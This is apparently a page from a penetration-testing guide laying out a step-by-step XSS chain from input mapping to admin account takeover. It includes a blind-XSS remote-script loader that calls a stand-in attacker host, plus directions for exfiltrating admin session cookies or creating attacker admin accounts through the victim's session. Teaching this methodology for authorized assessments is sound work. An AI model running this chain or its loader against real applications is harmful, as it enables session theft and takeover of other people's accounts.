XSS Capstone Chain
A capstone that runs the whole cluster together on one target: enumerate every input, classify each injection by variant and context, and escalate the one that reaches a privileged user into an admin takeover. This is the order of operations to follow on a real assessment, not a specific lab’s answer key - each step links to the page that does the heavy lifting.
The chain at a glance
Section titled “The chain at a glance”map inputs → canary each → classify (reflected / stored / DOM / blind) → craft per context → bypass filters if needed → pick the sink that reaches an admin → exfil or act in their session → account takeoverStep 1 - Map every input
Section titled “Step 1 - Map every input”Before testing payloads, inventory the attack surface. Miss an input and you miss the vuln.
- Walk the app as a normal user; log every URL parameter, form field, and request header that could be reflected or stored.
- Note which inputs are shown back to you (candidate reflected/stored) and which disappear into a staff-only workflow - tickets, reports, registration-approval queues (candidate blind).
- Send a unique alphanumeric canary through each input and record where each surfaces.
Step 2 - Classify each reflection
Section titled “Step 2 - Classify each reflection”For every canary that appears, decide the variant - the exploitation page differs by type:
| Observation | Variant | Go to |
|---|---|---|
| Canary echoed in the HTTP response | Reflected | per-click delivery |
| Canary persisted, shown on later views | Stored | fires for every viewer |
| Canary assembled into the DOM by client JS (via a source→sink flow) | DOM-based | source→sink; can coexist with a server reflection |
| Canary never visible to you | Blind | out-of-band beacon |
Then read the markup around each reflection to get its context - body, attribute, JS string, URL, or CSS.
Step 3 - Get execution on the easy wins first
Section titled “Step 3 - Get execution on the easy wins first”Confirm the straightforward reflected/stored sinks before the blind one, to prove the app is injectable and to learn its filtering behaviour:
- Craft a context-appropriate payload from Payload construction.
- If the obvious payload is stripped or encoded, work through Filter bypasses - what survives here usually survives in the blind sink too.
- Prove execution with
alert(document.domain).
Step 4 - Pivot the blind sink to an admin
Section titled “Step 4 - Pivot the blind sink to an admin”The high-value move: a field that an administrator reviews (support ticket, registration request, abuse report) runs your code in the admin’s browser.
- Put a per-field named remote-script loader in each staff-reviewed input (
<script src=//<ATTACKER>/ticket></script>), with a listener up - see Blind XSS. - A hit on
/tickettells you that field’s markup parsed and the browser fetched your loader - not yet that your JS ran, and not that the viewer was an admin. Have the hosted script emit its own beacon reporting the page URL and session context; confirm from that beacon that it executed and that the viewer is actually privileged. - Swap in the real payload hosted on your server.
Step 5 - Escalate in the admin’s session
Section titled “Step 5 - Escalate in the admin’s session”What the payload does depends on the app’s defenses:
- Cookies readable (
document.cookie, notHttpOnly) → exfiltrate the admin session and reuse it. Receiver and callback patterns: XSS to session. HttpOnlycookies → you can’t read the cookie, but the admin’s browser still sends it automatically. Have the payload call the app’s privileged endpoints directly - create an attacker admin account, elevate your own user, or reset a password - using the admin’s authenticated session. If those endpoints are CSRF-protected, scrape the token from the admin DOM first: XSS+CSRF chain.
Step 6 - Account takeover and proof
Section titled “Step 6 - Account takeover and proof”- Log in with the stolen session or the account you created, confirm admin capability, and capture evidence (the request/response of the privileged action, the beacon’s screenshot of the admin panel).
- From an admin foothold, look for the usual escalation to the host: file upload → RCE, or settings pages with command execution.
What good evidence looks like
Section titled “What good evidence looks like”- The exact input field, variant, and context for each XSS found.
- The working payload and, for the blind sink, the callback that proves out-of-view execution.
- The privileged action performed and its result - this is what turns “reflected
alert” into “admin account takeover” in the report.
Quick reference
Section titled “Quick reference”| Phase | Page |
|---|---|
| Inventory inputs | this page, Step 1 |
| Classify variant | Reflected / Stored / DOM / Blind |
| Craft by context | Payload construction |
| Defeat filters | Filter bypasses |
| Reach the admin | Blind XSS |
| Take the session | XSS to session / XSS+CSRF chain |
| Harden against it | Defense |